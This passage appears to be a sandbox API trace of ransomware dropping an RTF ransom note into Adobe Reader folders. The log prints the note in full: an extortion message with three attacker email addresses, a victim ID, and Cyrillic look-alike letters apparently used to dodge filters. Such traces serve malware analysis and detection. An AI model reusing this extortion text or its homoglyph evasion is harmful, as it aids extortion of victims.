t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x2734c38, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\no", lpUsedDefaultChar=0x0) returned 14086 [0040.885] WriteFile (in: hFile=0x1d4, lpBuffer=0x2734c38*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x2734c38*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0040.886] CloseHandle (hObject=0x1d4) returned 1 [0040.888] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\!bwng_info!.rtf")) returned 0xffffffff [0040.888] GetLastError () returned 0x2 [0040.889] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0040.889] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 